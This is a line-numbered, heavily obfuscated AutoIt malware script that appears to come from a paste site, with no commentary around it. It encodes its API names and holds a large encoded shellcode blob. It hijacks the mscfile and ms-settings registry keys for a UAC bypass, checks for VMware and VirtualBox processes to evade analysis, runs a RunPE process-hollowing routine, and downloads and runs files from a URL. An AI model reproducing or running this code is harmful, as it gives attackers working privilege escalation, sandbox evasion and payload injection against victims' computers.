  203. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  204. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  205. Local $e = Execute
  206. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  207. Local $leputain = xhgjvyzpod($lmascgp)
  208. return $leputain
  209. EndFunc
  210.  
  211. $shellcode = getshellcode()
  212. Local $hFileOpen = FileOpen("c:\\test.bin", 2)
  213. FileWrite($hFileOpen, $shellcode)
  214. FileClose($hFileOpen)
  215.  
  216.  
  217.  
  218.  
  219.  
  220. Local $lkcliztkdg = Execute
  221. Local $vqvknvkqciqr = $lkcliztkdg("DllStructGetData")
  222. Local $ydncsmuvepyy = $lkcliztkdg("BinaryToString")
  223. $iehddoiyhinmpbuchbhartdukilwzqcuvdtryhufim = Execute("@TempDir")
  224. $cfjuhmdsdkczocvflyurkibokzahtmiie = Execute("@ScriptDir")
  225. $avjtmwbnewjjvdctudwdewcfikwnljrylamrlspmdepitacr = Execute("@OSVersion")
  226. $fjvrhishsshjepwqmmumbifrufckxvfvznrk = Execute("@AutoItPID")
  227. $rpxlqcdpmywxamhgbqjlukgtwumrcsluouunbyglqpog = Execute("@AutoItExe")
  228. $beccjiyokjqe = Execute("vLsHMDZkXoUe()")
  229. $yfyllvzduqrc = Execute("UgPtHQHyLfMO()")
  230. $twxpjldbtltx = Execute("vRMOlqyJsqgj()")
  231. $ubakytacsqes = Execute("opYIFKUKcKeS()")
  232. $lydoyurnnhsz = Execute("qlqvzSEcZEvG()")
  233. $gowqqzfkjdel = Execute("nHvvdkwADDWZ()")
  234. $qjgzolgphkud = Execute("mthjnHtHyuuu()")
  235. $feyvuxlegfhl = Execute("GKoJsOxKXkGd()")
  236. $znnzhmcqtopd = Execute("WOyaFfSznMVD()")
  237. $qcjgzatpvqxm = Execute("AVxcrdFDaNXy()")
  238. $eqngfprnkmdt = Execute("lRfvyXQfDmpD()")
  239. $cltcckueqwtc = Execute("zUQiQWYIEpgw()")
  240. $dqiffuxamliv = Execute("rlIPxUZEcExv()")
  241. $inrxtuxkpwxc = Execute("eCsyIKarWbOw()")
  242. $caiqjrrjdnho = Execute("rjSCxWpqpGlt()")
  243. $qbqadacrhpdc = Execute("gzefgaQpTilN()")
  244. $spaypucwzkbi = Execute("BrOstHgPRzHk()")
  245. $roavrsihxaso = Execute("plxmFFUKhkpt()")
  246. $godtwhvwyoin = Execute("dzmXwpbfDjeK()")
  247. Opt(btbxjymrfgaetpa("20,44,27,51,9,29,41,40,8,35,30,31"), btbxjymrfgaetpa("54"))
  248.  
  249. Func btbxjymrfgaetpa($str)
  250. Local $alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
  251. Local $split = StringSplit($alphabet, "")
  252. Local $stringsplitted = StringSplit($str, ",")
  253. Local $result
  254. For $i = "1" To UBound($stringsplitted) - "1"
  255. $result &= $split[$stringsplitted[$i]]
  256. Next
  257. Return $result
  258. EndFunc
  259.  
  260. Func qmyysywfsx($pid)
  261. While (1)
  262. $ubakytacsqes(btbxjymrfgaetpa("54,53,53,53,53"))
  263. If $qjgzolgphkud($pid) = btbxjymrfgaetpa("53") Then
  264. wyehbmsxoc()
  265. EndIf
  266. WEnd
  267. EndFunc
  268.  
  269. Func gkojsoxkxkgd()
  270. Return Execute(btbxjymrfgaetpa("16,44,41,29,31,45,45,3,38,41,45,31"))
  271. EndFunc
  272.  
  273. Func xor($input, $key)
  274. Local $result
  275. Local $e = Execute
  276. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  277. Local $split = $e($b(btbxjymrfgaetpa("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,55,55,55,55,55,62")))
  278. For $i = btbxjymrfgaetpa("54") To $split[btbxjymrfgaetpa("53")]
  279. $result &= $e($b(btbxjymrfgaetpa("53,50,57,56,59,61,60,55,58,60,55,61,57,55,59,62,60,57,58,61,57,6,58,55,55,61,57,54,60,56,59,56,55,61,55,57,60,56,60,53,59,3,59,62,60,57,58,2,55,57,59,62,58,4,55,62,55,3,55,53,55,57,59,2,59,58,60,62,55,62,55,62")))
  280. Next
  281. Return $result
  282. EndFunc
  283.  
  284. Func fmzyowoygf()
  285. $gowqqzfkjdel("HKCU\Software\Classes\mscfile\shell\open\command", "", "REG_SZ", $rpxlqcdpmywxamhgbqjlukgtwumrcsluouunbyglqpog)
  286. $lydoyurnnhsz(btbxjymrfgaetpa("31,48,31,40,46,48,49,44"))
  287. $feyvuxlegfhl($fjvrhishsshjepwqmmumbifrufckxvfvznrk)
  288. EndFunc
  289.  
  290. Func brosthgprzhk()
  291. Return Execute(btbxjymrfgaetpa("4,38,38,3,27,38,38"))
  292. EndFunc
  293.  
  294. Func avxcrdfdanxy()
  295. Return Execute(btbxjymrfgaetpa("9,45,1,30,39,35,40"))
  296. EndFunc
  297.  
  298. Func jgqugqubgn($loop, $time)
  299. For $i = btbxjymrfgaetpa("53") To $loop
  300. Local $a = $godtwhvwyoin(btbxjymrfgaetpa("53,50,61,61"), btbxjymrfgaetpa("53,50,58,58"))
  301. $a = $roavrsihxaso($a, $a + btbxjymrfgaetpa("54"))
  302. $ubakytacsqes($time / $loop)
  303. Next
  304. EndFunc
  305.  
  306. Func crzcnzprdo()
  307. $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("28,41,41,38,31,27,40"), btbxjymrfgaetpa("23,41,49,59,57,5,40,27,28,38,31,23,41,49,59,57,6,45,18,31,30,35,44,31,29,46,35,41,40"), btbxjymrfgaetpa("28,41,41,38,31,27,40"), btbxjymrfgaetpa("53"))
  308. $gowqqzfkjdel("HKCU\Software\Classes\ms-settings\shell\open\command", btbxjymrfgaetpa("4,31,38,31,33,27,46,31,5,50,31,29,47,46,31"), "REG_SZ", btbxjymrfgaetpa("14,47,38,38"))
  309. $gowqqzfkjdel("HKCU\Software\Classes\ms-settings\shell\open\command", "", "REG_SZ", $rpxlqcdpmywxamhgbqjlukgtwumrcsluouunbyglqpog)
  310. $lydoyurnnhsz(btbxjymrfgaetpa("32,41,30,34,31,38,42,31,44"))
  311. $feyvuxlegfhl($fjvrhishsshjepwqmmumbifrufckxvfvznrk)
  312. EndFunc
  313.  
  314. Func rjscxwpqpglt()
  315. Return Execute(btbxjymrfgaetpa("4,38,38,19,46,44,47,29,46,7,31,46,4,27,46,27"))
  316. EndFunc
  317.  
  318. Func jjfotsdqgn()
  319. Local $array = ["vmtoolsd.exe", "vbox.exe"]
  320. For $i = btbxjymrfgaetpa("53") To $yfyllvzduqrc($array) - btbxjymrfgaetpa("54")
  321. If $qjgzolgphkud($array[$i]) Then
  322. $feyvuxlegfhl($fjvrhishsshjepwqmmumbifrufckxvfvznrk)
  323. EndIf
  324. Next
  325. EndFunc
  326.  
  327. Func ecsyikarwbow()
  328. Return Execute(btbxjymrfgaetpa("6,35,38,31,3,38,41,45,31"))
  329. EndFunc
  330.  
  331. Func mwosfdsnqi($soccurrencename)
  332. Local $e = Execute
  333. Local $b = $e(btbxjymrfgaetpa("2,35,40,27,44,51,20,41,19,46,44,35,40,33"))
  334. Local $ahandle = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,57,56,60,55,59,58,59,54,60,57,59,58,57,4,60,58,60,57,59,58,60,61,58,60,55,55,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,56,54,55,55,55,3,55,53,55,55,60,60,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,56,57,6,59,56,59,56,60,58,60,55,60,55,59,58,59,5,59,56,59,58,57,5,59,54,59,4,59,58,55,62")))
  335. Local $alasterror = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,57,3,59,54,60,56,60,57,57,58,60,55,60,55,59,6,60,55,55,55,55,62")))
  336. If $alasterror[btbxjymrfgaetpa("53")] = btbxjymrfgaetpa("54,61,56") Then
  337. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,59,3,59,6,60,56,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,54,57,61,59,54,59,5,59,57,59,3,59,58,58,2,55,55,56,53,55,55,58,4,55,62")))
  338. $e($b(btbxjymrfgaetpa("53,50,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,56,59,3,59,6,60,56,59,58,55,61,57,53,57,54,60,58,60,57,59,6,57,62,60,57,57,58,60,61,59,58,55,62")))
  339. EndIf
  340. EndFunc
  341.  
  342. Func gumzxghgqi($url, $path)
  343. If $bool = btbxjymrfgaetpa("6,27,38,45,31") Then
  344. $eqngfprnkmdt($url, $iehddoiyhinmpbuchbhartdukilwzqcuvdtryhufim & "\" & $path)
  345. $lydoyurnnhsz($iehddoiyhinmpbuchbhartdukilwzqcuvdtryhufim & "\" & $path)
  346. EndIf
  347. EndFunc
  348.  
  349. Func dzmxwpbfdjek()
  350. Return Execute(btbxjymrfgaetpa("2,35,46,1,14,4"))
  351. EndFunc
  352.  
  353. Func runpe($process, $data, $protect, $persist)
  354. Local $lmascgp
  355. $lmascgp &= btbxjymrfgaetpa("53,50,56,60,60,6,57,55,56,5,57,54,56,54,56,59,57,55,56,60,56,60,56,60,56,60,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56,6,56,56,57,56,56,55,57,59,56,60,56,60,56,60,56,60,56,6,56,57,57,55,57,57,56,59,56,56,56,54,56,54,56,57,56,5,56,60,56,57,56,53,56,56,56,60,56,56,56,57,56,57,57,57,56,60,57,55,57,58,56,53,57,54,56,6,57,58,56,56,56,57,56,57,57,57,56,6,56,59,56,57,57,57,56,59,56,6,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,57,54,56,60,56,6,57,58,56,56,56,56,56,59,56,6,56,53,56,6,56,6,56")
  356. $lmascgp &= btbxjymrfgaetpa("57,56,54,56,55,57,54,56,6,56,60,56,60,56,60,56,57,57,57,56,57,56,6,57,58,56,55,56,60,56,58,56,60,56,6,57,58,56,56,56,6,56,59,56,6,56,55,56,54,56,6,57,58,56,53,56,60,56,59,57,57,56,60,56,57,57,56,56,57,56,60,56,57,57,54,56,57,56,55,56,53,56,6,56,5,56,56,57,56,57,54,56,60,56,6,56,55,57,57,56,5,56,53,56,56,56,56,57,54,56,6,57,58,56,56,56,60,56,58,56,56,56,60,56,57,57,57,56,57,56,6,56,5,56,56,56,55,57,55,57,57,56,6,57,58,56,56,56,55,57,54,56,6,56,6,57,58,56,60,57,57,56,6,56,58,56,6,57,58,56,56,56,55")
  357. $lmascgp &= btbxjymrfgaetpa("56,60,56,6,56,60,56,57,57,57,57,58,56,6,56,5,56,56,56,55,57,54,56,56,56,6,57,58,56,56,56,55,57,54,56,56,56,6,57,59,56,60,56,60,56,6,56,6,56,56,56,55,57,54,57,54,56,6,57,59,56,60,56,59,56,60,57,54,57,58,57,55,56,53,57,56,57,54,57,54,56,6,56,6,56,56,56,55,57,54,57,55,56,60,57,54,57,58,57,55,57,57,56,60,56,58,57,58,57,54,56,6,57,54,57,54,56,56,56,55,57,54,56,56,56,6,56,60,56,53,57,56,57,54,57,54,56,60,56,60,56,53,56,56,56,60,57,58,56,56,56,59,56,6,56,60,56,53,57,56,57,54,57,55,56,60,56,60,56,53,56,56,56")
  358. $lmascgp &= btbxjymrfgaetpa("60,56,56,56,6,56,55,57,54,57,54,56,53,56,56,57,56,56,54,56,6,56,55,57,54,57,54,56,53,56,56,56,59,56,57,57,54,57,54,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,54,56,6,56,57,57,58,56,56,56,55,57,54,56,60,56,53,56,58,57,58,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,55,57,55,57,57,56,6,57,58,56,56,57,56,57,54,56,6,56,60,57,54,57,58,56,53,56,60,56,56,56,56,56,6,56,6,57,58,56,60,56,56,56,6,56,54,56,60,56,57,57,57,56,57,57,55")
  359. $lmascgp &= btbxjymrfgaetpa("57,58,57,55,56,5,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,57,57,56,55,57,57,56,54,56,56,56,6,57,58,56,60,57,56,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,6,57,58,57,54,56,60,56,57,56,57,57,57,56,60,56,6,56,5,56,56,56,55,57,54,57,57,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,5,56,60,57,57,56,6,57,58,56,56,56,5,56,59,56,56,56,6,57,58,56,60,56,5,56,6,57,58,56,55,56,5,56,59,56,60,56,55,56,53,57,57,56,53,56,56,56,55,57,56,56,60,56,56,57,55,56,53,56")
  360. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,54,56,53,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,54,56,55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,56,56,55,57,56,57,57,56,54,57,55,56,60,56,60,57,57,56,53,56,56,56,55,57,58,57,57,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,56,56,55,57,57,56,60,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,56,56,55,57,57,56,56,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57")
  361. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,56,56,55,57,57,57,57,56,54,57,54,56,54,57,55,56,6,56,6,56,56,56,55,57,57,57,55,56,57,57,58,57,56,56,6,56,53,56,55,56,60,56,53,56,57,56,57,57,57,56,60,57,55,56,5,57,59,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,57,55,56,6,57,56,57,54,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,58,57,57,56,55,56,60,57,55,56,6,57")
  362. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,57,54,56,60,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,57,57,56,53,56,56,56,55,57,55,56,6,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,55,56,54,57,55,57,57,56,54,56,56,56,55,57,55")
  363. $lmascgp &= btbxjymrfgaetpa("57,55,56,60,56,60,57,55,56,6,57,59,56,54,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,54,56,6,56,5,56,53,56,55,57,55,56,56,57,54,57,54,57,56,56,60,56,60,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,58,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,5,56,6,56,5,56,56,56,55,57,59,57,57,56,6,57,56,56,56,56,55,57,59,56,56,56,55,56,60,56,57,56,57,57,54,56,54,56,54,57,59,56,60,57,57,56,6,57,56,56,56,56,55,57,54,56,56,56,55,56,60,57,57,56,53,56,56,56")
  364. $lmascgp &= btbxjymrfgaetpa("55,57,59,56,56,56,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,59,56,6,57,57,56,53,56,56,56,55,57,58,56,60,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,58,56,56,56,6,56,5,56,53,56,55,57,58,56,6,57,54,57,54,57,56,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,53,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,59,56,60,56,58,56,55,56,54,56,54,57,59,56,60,56,59,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,55,56,54,56,55,56,54,56,55,56,54")
  365. $lmascgp &= btbxjymrfgaetpa("56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,54,56,56,57,54,57,54,56,55,56,55,57,54,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,55,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,54,57,57,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,57,56,55,56,55,56,6,57,58,57,55,57,57,56,55,56,59,56,55,56,59,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,56,57,57")
  366. $lmascgp &= btbxjymrfgaetpa("57,56,60,56,59,56,56,56,6,57,58,56,60,56,6,56,55,56,57,56,55,56,54,56,55,56,53,56,6,56,5,56,56,56,55,57,54,56,6,56,57,57,58,57,57,56,6,57,55,57,58,56,57,56,58,56,6,57,58,56,56,56,5,56,58,56,6,56,6,57,58,56,53,57,56,56,60,56,6,56,60,57,54,57,58,56,53,56,59,56,53,56,60,57,54,57,58,56,53,56,57,56,59,56,6,57,58,57,56,57,55,56,6,57,58,57,57,56,58,56,58,57,58,57,57,56,57,56,6,56,57,57,57,56,53,56,60,56,58,56,54,56,54,56,6,56,55,57,56,56,58,56,53,56,56,56,60,57,57,56,6,56,57,57,57,56,59,56,60,56,58,56,54")
  367. $lmascgp &= btbxjymrfgaetpa("56,54,56,6,56,55,57,54,56,54,56,53,56,56,56,60,56,56,56,6,56,55,57,57,56,60,56,53,56,56,57,55,56,60,56,6,56,55,57,57,56,60,56,6,57,58,56,56,56,55,57,54,57,57,56,53,56,56,56,59,56,57,56,6,57,58,56,60,56,6,56,57,57,58,56,56,57,56,57,54,56,6,56,6,56,5,56,56,57,56,57,54,57,57,56,53,56,55,57,57,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,60,56,59,56,60,57,55,57,58,57,54,56,56,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56")
  368. $lmascgp &= btbxjymrfgaetpa("6,56,54,56,60,56,59,56,55,56,60,56,60,56,60,56,60,57,55,56,6,56,59,57,58,56,59,57,55,56,60,56,60,56,60,56,60,56,57,56,58,57,57,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,55,56,54,56,56,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57")
  369. $lmascgp &= btbxjymrfgaetpa("56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,58,56,56,57")
  370. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,5,56,53,57,59,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,54,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,54,57,54,56,53,56,55,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,6,56,6,56,6")
  371. $lmascgp &= btbxjymrfgaetpa("56,55,56,57,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,57,56,54,57,58,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56")
  372. $lmascgp &= btbxjymrfgaetpa("6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,56,5,57,54,57,54,57,54,57,54")
  373. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,56,60,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,57,57,57,57,56,53,56,6,56,55,56,5,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,54,56,54,56,57,56,54,56,59,57,57,56,53,56,6,56,55,56,5,56,6,57")
  374. $lmascgp &= btbxjymrfgaetpa("54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56")
  375. $lmascgp &= btbxjymrfgaetpa("57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56")
  376. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,56,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,56,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,56,57,54,56,5")
  377. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,57,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56")
  378. $lmascgp &= btbxjymrfgaetpa("54,57,55,56,54,56,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,60,56,60,57,57,56,53,56,56,56,55,57,58,56,6,56,54,57,56,56,54,56,58,56,53,56,57,56,53,56,56,57,57,56,53,56,56,56,55,57,58,57,57,56,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,6,56,6,56,56,56,55,57,57,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,53,56,57,56,53,56,56,56,53,56,58,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,57,56")
  379. $lmascgp &= btbxjymrfgaetpa("57,59,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,55,56,53,56,56,56,54,56,56,57,57,56,53,56,6,56,55,56,56,56")
